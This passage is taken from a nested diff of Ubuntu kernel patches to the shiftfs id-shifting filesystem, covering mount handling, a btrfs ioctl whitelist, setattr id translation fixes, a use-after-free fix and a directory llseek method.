-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
-+	struct dentry *root = sb->s_root;
-+	struct dentry *realroot = root->d_fsdata;
-+	struct path realpath = { .mnt = sbinfo->mnt, .dentry = realroot };
-+	int err;
-+
-+	err = vfs_statfs(&realpath, buf);
- 	if (err)
--		goto out;
-+		return err;
- 
--	/* to mark a mount point, must be real root */
--	if (ssi->mark && !capable(CAP_SYS_ADMIN))
--		goto out;
-+	if (!shiftfs_passthrough_statfs(sbinfo))
-+		buf->f_type = sb->s_magic;
- 
--	/* else to mount a mark, must be userns admin */
--	if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
--		goto out;
-+	return 0;
-+}
- 
--	err = kern_path(name, LOOKUP_FOLLOW, &path);
-+static void shiftfs_evict_inode(struct inode *inode)
-+{
-+	struct inode *loweri = inode->i_private;
-+
-+	clear_inode(inode);
-+
-+	if (loweri)
-+		iput(loweri);
-+}
-+
-+static void shiftfs_put_super(struct super_block *sb)
-+{
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
-+
-+	if (sbinfo) {
-+		mntput(sbinfo->mnt);
-+		put_cred(sbinfo->creator_cred);
-+		kfree(sbinfo);
-+	}
-+}
-+
-+static const struct xattr_handler shiftfs_xattr_handler = {
-+	.prefix = "",
-+	.get    = shiftfs_xattr_get,
-+	.set    = shiftfs_xattr_set,
-+};
-+
-+const struct xattr_handler *shiftfs_xattr_handlers[] = {
-+#ifdef CONFIG_SHIFT_FS_POSIX_ACL
-+	&shiftfs_posix_acl_access_xattr_handler,
-+	&shiftfs_posix_acl_default_xattr_handler,
-+#endif
-+	&shiftfs_xattr_handler,
-+	NULL
-+};
-+
-+static inline bool passthrough_is_subset(int old_flags, int new_flags)
-+{
-+	if ((new_flags & old_flags) != new_flags)
-+		return false;
-+
-+	return true;
-+}
-+
-+static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
-+{
-+	int err;
-+	struct shiftfs_super_info new = {};
-+	struct shiftfs_super_info *info = sb->s_fs_info;
-+
-+	err = shiftfs_parse_mount_options(&new, data);
- 	if (err)
--		goto out;
-+		return err;
-+
-+	/* Mark mount option cannot be changed. */
-+	if (info->mark || (info->mark != new.mark))
-+		return -EPERM;
-+
-+	if (info->passthrough != new.passthrough) {
-+		/* Don't allow exceeding passthrough options of mark mount. */
-+		if (!passthrough_is_subset(info->info_mark->passthrough,
-+					   info->passthrough))
-+			return -EPERM;
-+
-+		info->passthrough = new.passthrough;
-+	}
-+
-+	return 0;
-+}
- 
--	err = -EPERM;
-+static const struct super_operations shiftfs_super_ops = {
-+	.put_super	= shiftfs_put_super,
-+	.show_options	= shiftfs_show_options,
-+	.statfs		= shiftfs_statfs,
-+	.remount_fs	= shiftfs_remount,
-+	.evict_inode	= shiftfs_evict_inode,
-+};
-+
-+struct shiftfs_data {
-+	void *data;
-+	const char *path;
-+};
-+
-+static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
-+			      int silent)
-+{
-+	int err;
-+	struct path path = {};
-+	struct shiftfs_super_info *sbinfo_mp;
-+	char *name = NULL;
-+	struct inode *inode = NULL;
-+	struct dentry *dentry = NULL;
-+	struct shiftfs_data *data = raw_data;
-+	struct shiftfs_super_info *sbinfo = NULL;
-+
-+	if (!data->path)
-+		return -EINVAL;
-+
-+	sb->s_fs_info = kzalloc(sizeof(*sbinfo), GFP_KERNEL);
-+	if (!sb->s_fs_info)
-+		return -ENOMEM;
-+	sbinfo = sb->s_fs_info;
-+
-+	err = shiftfs_parse_mount_options(sbinfo, data->data);
-+	if (err)
-+		return err;
-+
-+	/* to mount a mark, must be userns admin */
-+	if (!sbinfo->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
-+		return -EPERM;
-+
-+	name = kstrdup(data->path, GFP_KERNEL);
-+	if (!name)
-+		return -ENOMEM;
-+
-+	err = kern_path(name, LOOKUP_FOLLOW, &path);
-+	if (err)
-+		goto out_free_name;
- 
- 	if (!S_ISDIR(path.dentry->d_inode->i_mode)) {
- 		err = -ENOTDIR;
--		goto out_put;
-+		goto out_put_path;
- 	}
- 
--	sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
--	if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
--		printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
--		err = -EINVAL;
--		goto out_put;
--	}
-+	if (sbinfo->mark) {
-+		struct super_block *lower_sb = path.mnt->mnt_sb;
-+
-+		/* to mark a mount point, must root wrt lower s_user_ns */
-+		if (!ns_capable(lower_sb->s_user_ns, CAP_SYS_ADMIN)) {
-+			err = -EPERM;
-+			goto out_put_path;
-+		}
- 
--	if (ssi->mark) {
- 		/*
- 		 * this part is visible unshifted, so make sure no
- 		 * executables that could be used to give suid
- 		 * privileges
- 		 */
- 		sb->s_iflags = SB_I_NOEXEC;
--		ssi->mnt = path.mnt;
--		dentry = path.dentry;
--	} else {
--		struct shiftfs_super_info *mp_ssi;
- 
- 		/*
--		 * this leg executes if we're admin capable in
--		 * the namespace, so be very careful
-+		 * Handle nesting of shiftfs mounts by referring this mark
-+		 * mount back to the original mark mount. This is more
-+		 * efficient and alleviates concerns about stack depth.
- 		 */
-+		if (lower_sb->s_magic == SHIFTFS_MAGIC) {
-+			sbinfo_mp = lower_sb->s_fs_info;
-+
-+			/* Doesn't make sense to mark a mark mount */
-+			if (sbinfo_mp->mark) {
-+				err = -EINVAL;
-+				goto out_put_path;
-+			}
-+
-+			if (!passthrough_is_subset(sbinfo_mp->passthrough,
-+						   sbinfo->passthrough)) {
-+				err = -EPERM;
-+				goto out_put_path;
-+			}
-+
-+			sbinfo->mnt = mntget(sbinfo_mp->mnt);
-+			dentry = dget(path.dentry->d_fsdata);
-+		} else {
-+			sbinfo->mnt = mntget(path.mnt);
-+			dentry = dget(path.dentry);
-+		}
-+
-+		sbinfo->creator_cred = prepare_creds();
-+		if (!sbinfo->creator_cred) {
-+			err = -ENOMEM;
-+			goto out_put_path;
-+		}
-+	} else {
-+		/*
-+		 * This leg executes if we're admin capable in the namespace,
-+		 * so be very careful.
-+		 */
-+		err = -EPERM;
- 		if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC)
--			goto out_put;
--		mp_ssi = path.dentry->d_sb->s_fs_info;
--		if (!mp_ssi->mark)
--			goto out_put;
--		ssi->mnt = mntget(mp_ssi->mnt);
-+			goto out_put_path;
-+
-+		sbinfo_mp = path.dentry->d_sb->s_fs_info;
-+		if (!sbinfo_mp->mark)
-+			goto out_put_path;
-+
-+		if (!passthrough_is_subset(sbinfo_mp->passthrough,
-+					   sbinfo->passthrough))
-+			goto out_put_path;
-+
-+		sbinfo->mnt = mntget(sbinfo_mp->mnt);
-+		sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
- 		dentry = dget(path.dentry->d_fsdata);
--		path_put(&path);
-+		sbinfo->info_mark = sbinfo_mp;
-+	}
-+
-+	sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
-+	if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
-+		printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
-+		err = -EINVAL;
-+		goto out_put_path;
-+	}
-+
-+	inode = new_inode(sb);
-+	if (!inode) {
-+		err = -ENOMEM;
-+		goto out_put_path;
- 	}
--	ssi->userns = get_user_ns(dentry->d_sb->s_user_ns);
--	sb->s_fs_info = ssi;
-+	shiftfs_fill_inode(inode, dentry->d_inode->i_ino, S_IFDIR, 0, dentry);
-+
-+	ihold(dentry->d_inode);
-+	inode->i_private = dentry->d_inode;
-+
- 	sb->s_magic = SHIFTFS_MAGIC;
- 	sb->s_op = &shiftfs_super_ops;
- 	sb->s_xattr = shiftfs_xattr_handlers;
- 	sb->s_d_op = &shiftfs_dentry_ops;
--	sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry));
-+	sb->s_flags |= SB_POSIXACL;
-+	sb->s_root = d_make_root(inode);
-+	if (!sb->s_root) {
-+		err = -ENOMEM;
-+		goto out_put_path;
-+	}
-+
- 	sb->s_root->d_fsdata = dentry;
-+	sbinfo->userns = get_user_ns(dentry->d_sb->s_user_ns);
-+	shiftfs_copyattr(dentry->d_inode, sb->s_root->d_inode);
- 
--	return 0;
-+	dentry = NULL;
-+	err = 0;
- 
-- out_put:
-+out_put_path:
- 	path_put(&path);
-- out:
-+
-+out_free_name:
- 	kfree(name);
--	kfree(ssi);
-+
-+	dput(dentry);
-+
- 	return err;
- }
- 
-@@ -764,17 +1869,26 @@ static struct file_system_type shiftfs_type = {
- 
- static int __init shiftfs_init(void)
- {
-+	shiftfs_file_info_cache = kmem_cache_create(
-+		"shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
-+		SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
-+	if (!shiftfs_file_info_cache)
-+		return -ENOMEM;
-+
- 	return register_filesystem(&shiftfs_type);
- }
- 
- static void __exit shiftfs_exit(void)
- {
- 	unregister_filesystem(&shiftfs_type);
-+	kmem_cache_destroy(shiftfs_file_info_cache);
- }
- 
- MODULE_ALIAS_FS("shiftfs");
- MODULE_AUTHOR("James Bottomley");
--MODULE_DESCRIPTION("uid/gid shifting bind filesystem");
-+MODULE_AUTHOR("Seth Forshee <seth.forshee@×××××××××.com>");
-+MODULE_AUTHOR("Christian Brauner <christian.brauner@××××××.com>");
-+MODULE_DESCRIPTION("id shifting filesystem");
- MODULE_LICENSE("GPL v2");
- module_init(shiftfs_init)
- module_exit(shiftfs_exit)
--- 
-2.39.2
-
-From a2e0843dcd21746dfc23df95ab8c93af942fac6b Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Thu, 4 Apr 2019 15:39:13 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support some btrfs ioctls
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1823186
-
-Shiftfs currently only passes through a few ioctl()s to the underlay. These
-are ioctl()s that are generally considered safe. Doing it for random
-ioctl()s would be a security issue. Permissions for ioctl()s are not
-checked before the filesystem gets involved so if we were to override
-credentials we e.g. could do a btrfs tree search in the underlay which we
-normally wouldn't be allowed to do.
-However, the btrfs filesystem allows unprivileged users to perform various
-operations through its ioctl() interface. With shiftfs these ioctl() are
-currently not working. To not regress users that expect btrfs ioctl()s to
-work in unprivileged containers we can create a whitelist of ioctl()s that
-we allow to go through to the underlay and for which we also switch
-credentials.
-The main problem is how we switch credentials. Since permissions checks for
-ioctl()s are
-done by the actual file system and not by the vfs this would mean that any
-additional capable(<cap>)-based checks done by the filesystem would
-unconditonally pass after we switch credentials. So to make credential
-switching safe we drop *all* capabilities when switching credentials. This
-means that only inode-based permission checks will pass.
-
-Btrfs also allows unprivileged users to delete snapshots when the
-filesystem is mounted with user_subvol_rm_allowed mount option or if the
-the callers is capable(CAP_SYS_ADMIN). The latter should never be the case
-with unprivileged users. To make sure we only allow removal of snapshots in
-the former case we drop all capabilities (see above) when switching
-credentials.
-
-Additonally, btrfs allows the creation of snapshots. To make this work we
-need to be (too) clever. When doing snapshots btrfs requires that an fd to
-the directory the snapshot is supposed to be created in be passed along.
-This fd obviously references a shiftfs file and as such a shiftfs dentry
-and inode.  This will cause btrfs to yell EXDEV. To circumnavigate this
-problem we need to silently temporarily replace the passed in fd with an fd
-that refers to a file that references a btrfs dentry and inode.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 156 +++++++++++++++++++++++++++++++++++++++++++++++++--
- 1 file changed, 151 insertions(+), 5 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index ad1ae5bce6c1..678cad30f4a5 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1,6 +1,8 @@
-+#include <linux/btrfs.h>
- #include <linux/capability.h>
- #include <linux/cred.h>
- #include <linux/mount.h>
-+#include <linux/fdtable.h>
- #include <linux/file.h>
- #include <linux/fs.h>
- #include <linux/namei.h>
-@@ -41,7 +43,21 @@ static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
- 
- #define SHIFTFS_PASSTHROUGH_NONE 0
- #define SHIFTFS_PASSTHROUGH_STAT 1
--#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT)
-+#define SHIFTFS_PASSTHROUGH_IOCTL 2
-+#define SHIFTFS_PASSTHROUGH_ALL                                                \
-+	(SHIFTFS_PASSTHROUGH_STAT | SHIFTFS_PASSTHROUGH_IOCTL)
-+
-+static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info)
-+{
-+	if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
-+		return false;
-+
-+	if (info->info_mark &&
-+	    !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
-+		return false;
-+
-+	return true;
-+}
- 
- static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
- {
-@@ -1345,18 +1361,120 @@ static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred,
- 	return shiftfs_revert_object_creds(oldcred, newcred);
- }
- 
-+static inline bool is_btrfs_snap_ioctl(int cmd)
-+{
-+	if ((cmd == BTRFS_IOC_SNAP_CREATE) || (cmd == BTRFS_IOC_SNAP_CREATE_V2))
-+		return true;
-+
-+	return false;
-+}
-+
-+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
-+					  void __user *arg,
-+					  struct btrfs_ioctl_vol_args *v1,
-+					  struct btrfs_ioctl_vol_args_v2 *v2)
-+{
-+	int ret;
-+
-+	if (!is_btrfs_snap_ioctl(cmd))
-+		return 0;
-+
-+	if (cmd == BTRFS_IOC_SNAP_CREATE)
-+		ret = copy_to_user(arg, v1, sizeof(*v1));
-+	else
-+		ret = copy_to_user(arg, v2, sizeof(*v2));
-+
-+	fdput(lfd);
-+	__close_fd(current->files, fd);
-+	kfree(v1);
-+	kfree(v2);
-+
-+	return ret;
-+}
-+
-+static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
-+					  struct btrfs_ioctl_vol_args **b1,
-+					  struct btrfs_ioctl_vol_args_v2 **b2,
-+					  struct fd *lfd,
-+					  int *newfd)
-+{
-+	int oldfd, ret;
-+	struct fd src;
-+	struct btrfs_ioctl_vol_args *v1 = NULL;
-+	struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
-+
-+	if (!is_btrfs_snap_ioctl(cmd))
-+		return 0;
-+
-+	if (cmd == BTRFS_IOC_SNAP_CREATE) {
-+		v1 = memdup_user(arg, sizeof(*v1));
-+		if (IS_ERR(v1))
-+			return PTR_ERR(v1);
-+		oldfd = v1->fd;
-+		*b1 = v1;
-+	} else {
-+		v2 = memdup_user(arg, sizeof(*v2));
-+		if (IS_ERR(v2))
-+			return PTR_ERR(v2);
-+		oldfd = v2->fd;
-+		*b2 = v2;
-+	}
-+
-+	src = fdget(oldfd);
-+	if (!src.file)
-+		return -EINVAL;
-+
-+	ret = shiftfs_real_fdget(src.file, lfd);
-+	fdput(src);
-+	if (ret)
-+		return ret;
-+
-+	*newfd = get_unused_fd_flags(lfd->file->f_flags);
-+	if (*newfd < 0) {
-+		fdput(*lfd);
-+		return *newfd;
-+	}
-+
-+	fd_install(*newfd, lfd->file);
-+
-+	if (cmd == BTRFS_IOC_SNAP_CREATE) {
-+		v1->fd = *newfd;
-+		ret = copy_to_user(arg, v1, sizeof(*v1));
-+		v1->fd = oldfd;
-+	} else {
-+		v2->fd = *newfd;
-+		ret = copy_to_user(arg, v2, sizeof(*v2));
-+		v2->fd = oldfd;
-+	}
-+
-+	if (ret)
-+		shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
-+
-+	return ret;
-+}
-+
- static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- 			       unsigned long arg)
- {
--	long ret = 0;
- 	struct fd lowerfd;
- 	struct cred *newcred;
- 	const struct cred *oldcred;
-+	int newfd = -EBADF;
-+	long err = 0, ret = 0;
-+	void __user *argp = (void __user *)arg;
-+	struct fd btrfs_lfd = {};
- 	struct super_block *sb = file->f_path.dentry->d_sb;
-+	struct btrfs_ioctl_vol_args *btrfs_v1 = NULL;
-+	struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL;
-+
-+	ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2,
-+					     &btrfs_lfd, &newfd);
-+	if (ret < 0)
-+		return ret;
- 
- 	ret = shiftfs_real_fdget(file, &lowerfd);
- 	if (ret)
--		return ret;
-+		goto out_restore;
- 
- 	ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
- 	if (ret)
-@@ -1372,9 +1490,33 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- out_fdput:
- 	fdput(lowerfd);
- 
-+out_restore:
-+	err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp,
-+					     btrfs_v1, btrfs_v2);
-+	if (!ret)
-+		ret = err;
-+
- 	return ret;
- }
- 
-+static bool in_ioctl_whitelist(int flag)
-+{
-+	switch (flag) {
-+	case BTRFS_IOC_SNAP_CREATE:
-+		return true;
-+	case BTRFS_IOC_SNAP_CREATE_V2:
-+		return true;
-+	case BTRFS_IOC_SUBVOL_CREATE:
-+		return true;
-+	case BTRFS_IOC_SUBVOL_CREATE_V2:
-+		return true;
-+	case BTRFS_IOC_SNAP_DESTROY:
-+		return true;
-+	}
-+
-+	return false;
-+}
-+
- static long shiftfs_ioctl(struct file *file, unsigned int cmd,
- 			  unsigned long arg)
- {
-@@ -1386,7 +1528,9 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd,
- 	case FS_IOC_SETFLAGS:
- 		break;
- 	default:
--		return -ENOTTY;
-+		if (!in_ioctl_whitelist(cmd) ||
-+		    !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
-+			return -ENOTTY;
- 	}
- 
- 	return shiftfs_real_ioctl(file, cmd, arg);
-@@ -1403,7 +1547,9 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
- 	case FS_IOC32_SETFLAGS:
- 		break;
- 	default:
--		return -ENOIOCTLCMD;
-+		if (!in_ioctl_whitelist(cmd) ||
-+		    !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
-+			return -ENOIOCTLCMD;
- 	}
- 
- 	return shiftfs_real_ioctl(file, cmd, arg);
--- 
-2.39.2
-
-From 7e64c9484f2524943cde1164852c1888312c010f Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Thu, 11 Apr 2019 07:31:04 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use translated ids when chaning lower
- fs attrs
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1824350
-
-shiftfs_setattr() is preparing a new set of attributes with the
-owner translated for the lower fs, but it then passes the
-original attrs. As a result the owner is set to the untranslated
-owner, which causes the shiftfs inodes to also have incorrect
-ids. For example:
-
- # mkdir dir
- # touch file
- # ls -lh dir file
- drwxr-xr-x 2 root root 4.0K Apr 11 13:05 dir
- -rw-r--r-- 1 root root 0 Apr 11 13:05 file
- # chown 500:500 dir file
- # ls -lh dir file
- drwxr-xr-x 2 1000500 1000500 4.0K Apr 11 12:42 dir
- -rw-r--r-- 1 1000500 1000500 0 Apr 11 12:42 file
-
-Fix this to pass the correct iattr struct to notify_change().
-
-Reviewed-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 678cad30f4a5..e736fd6afcb4 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -779,7 +779,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 
- 	inode_lock(loweri);
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = notify_change(lowerd, attr, NULL);
-+	err = notify_change(lowerd, &newattr, NULL);
- 	revert_creds(oldcred);
- 	inode_unlock(loweri);
- 
--- 
-2.39.2
-
-From 84e09374dce45b2aaec7e719acd209b1e5e4ae85 Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Sat, 13 Apr 2019 14:41:01 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix passing of attrs to underaly for
- setattr
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1824717
-
-shiftfs_setattr() makes a copy of the attrs it was passed to pass
-to the lower fs. It then calls setattr_prepare() with the original
-attrs, and this may make changes which are not reflected in the
-attrs passed to the lower fs. To fix this, copy the attrs to the
-new struct for the lower fs after calling setattr_prepare().
-
-Additionally, notify_change() may have set ATTR_MODE when one of
-ATTR_KILL_S[UG]ID is set, and passing this combination to
-notify_change() will trigger a BUG(). Do as overlayfs and
-ecryptfs both do, and clear ATTR_MODE if either of those bits
-is set.
-
-Reviewed-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Marcelo Henrique Cerri <marcelo.cerri@×××××××××.com>
-Acked-by: Brad Figg <brad.figg@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 10 +++++++++-
- 1 file changed, 9 insertions(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index e736fd6afcb4..8e064756ea0c 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -765,7 +765,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- {
- 	struct dentry *lowerd = dentry->d_fsdata;
- 	struct inode *loweri = lowerd->d_inode;
--	struct iattr newattr = *attr;
-+	struct iattr newattr;
- 	const struct cred *oldcred;
- 	struct super_block *sb = dentry->d_sb;
- 	int err;
-@@ -774,9 +774,17 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 	if (err)
- 		return err;
- 
-+	newattr = *attr;
- 	newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
- 	newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
- 
-+	/*
-+	 * mode change is for clearing setuid/setgid bits. Allow lower fs
-+	 * to interpret this in its own way.
-+	 */
-+	if (newattr.ia_valid & (ATTR_KILL_SUID|ATTR_KILL_SGID))
-+		newattr.ia_valid &= ~ATTR_MODE;
-+
- 	inode_lock(loweri);
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
- 	err = notify_change(lowerd, &newattr, NULL);
--- 
-2.39.2
-
-From a3ba10b3019139566fa65c351966ca3482c90819 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Mon, 15 Apr 2019 15:21:55 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent use-after-free when verifying
- mount options
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1824735
-
-Copy up the passthrough mount settings of the mark mount point to the
-shiftfs overlay.
-
-Before this commit we used to keep a reference to the shiftfs mark
-mount's shiftfs_super_info which was stashed in the superblock of the
-mark mount. The problem is that we only take a reference to the mount of
-the underlay, i.e. the filesystem that is *under* the shiftfs mark
-mount. This means when someone performs a shiftfs mark mount, then a
-shiftfs overlay mount and then immediately unmounts the shiftfs mark
-mount we muck with invalid memory since shiftfs_put_super might have
-already been called freeing that memory.
-
-Another solution would be to start reference counting. But this would be
-overkill. We only care about the passthrough mount option of the mark
-mount. And we only need it to verify that on remount the new passthrough
-options of the shiftfs overlay are a subset of the mark mount's
-passthrough options. In other scenarios we don't care. So copying up is
-good enough and also only needs to happen once on mount, i.e. when a new
-superblock is created and the .fill_super method is called.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Seth Forshee <seth.forshee@×××××××××.com>
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 29 ++++++++++++++++++-----------
- 1 file changed, 18 insertions(+), 11 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 8e064756ea0c..4c8a6ec2a617 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -28,7 +28,7 @@ struct shiftfs_super_info {
- 	const struct cred *creator_cred;
- 	bool mark;
- 	unsigned int passthrough;
--	struct shiftfs_super_info *info_mark;
-+	unsigned int passthrough_mark;
- };
- 
- struct shiftfs_file_info {
-@@ -52,10 +52,6 @@ static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info)
- 	if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
- 		return false;
- 
--	if (info->info_mark &&
--	    !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
--		return false;
--
- 	return true;
- }
- 
-@@ -64,10 +60,6 @@ static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
- 	if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT))
- 		return false;
- 
--	if (info->info_mark &&
--	    !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT))
--		return false;
--
- 	return true;
- }
- 
-@@ -1824,7 +1816,7 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
- 
- 	if (info->passthrough != new.passthrough) {
- 		/* Don't allow exceeding passthrough options of mark mount. */
--		if (!passthrough_is_subset(info->info_mark->passthrough,
-+		if (!passthrough_is_subset(info->passthrough_mark,
- 					   info->passthrough))
- 			return -EPERM;
- 
-@@ -1926,9 +1918,19 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 
- 			sbinfo->mnt = mntget(sbinfo_mp->mnt);
- 			dentry = dget(path.dentry->d_fsdata);
-+			/*
-+			 * Copy up the passthrough mount options from the
-+			 * parent mark mountpoint.
-+			 */
-+			sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark;
- 		} else {
- 			sbinfo->mnt = mntget(path.mnt);
- 			dentry = dget(path.dentry);
-+			/*
-+			 * For a new mark passthrough_mark and passthrough
-+			 * are identical.
-+			 */
-+			sbinfo->passthrough_mark = sbinfo->passthrough;
- 		}
- 
- 		sbinfo->creator_cred = prepare_creds();
-@@ -1956,7 +1958,12 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 		sbinfo->mnt = mntget(sbinfo_mp->mnt);
- 		sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
- 		dentry = dget(path.dentry->d_fsdata);
--		sbinfo->info_mark = sbinfo_mp;
-+		/*
-+		 * Copy up passthrough settings from mark mountpoint so we can
-+		 * verify when the overlay wants to remount with different
-+		 * passthrough settings.
-+		 */
-+		sbinfo->passthrough_mark = sbinfo_mp->passthrough;
- 	}
- 
- 	sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
--- 
-2.39.2
-
-From a6ec1bf679d71f552f3eee7bf2b5458a6ea71e9a Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Tue, 16 Apr 2019 18:29:00 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use separate llseek method for
- directories
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1824812
-
-Give shiftfs it's own proper llseek method for directories.
-
-Before this commit we used to rely on an llseek method that was
-targeted for regular files for both directories and regular files.
-However, the realfile's f_pos was not correctly handled when userspace
-called lseek(2) on a shiftfs directory file. Give directories their
-own llseek operation so that seeking on a directory file is properly
-supported.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Seth Forshee <seth.forshee@×××××××××.com>
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 14 +++++++++++---
- 1 file changed, 11 insertions(+), 3 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 4c8a6ec2a617..9771165d1ce0 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1144,7 +1144,15 @@ static int shiftfs_release(struct inode *inode, struct file *file)
- 	return 0;
- }
- 
--static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence)
-+static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence)
-+{
-+	struct shiftfs_file_info *file_info = file->private_data;
-+	struct file *realfile = file_info->realfile;
-+
-+	return vfs_llseek(realfile, offset, whence);
-+}
-+
-+static loff_t shiftfs_file_llseek(struct file *file, loff_t offset, int whence)
- {
- 	struct inode *realinode = file_inode(file)->i_private;
- 
-@@ -1653,7 +1661,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
- const struct file_operations shiftfs_file_operations = {
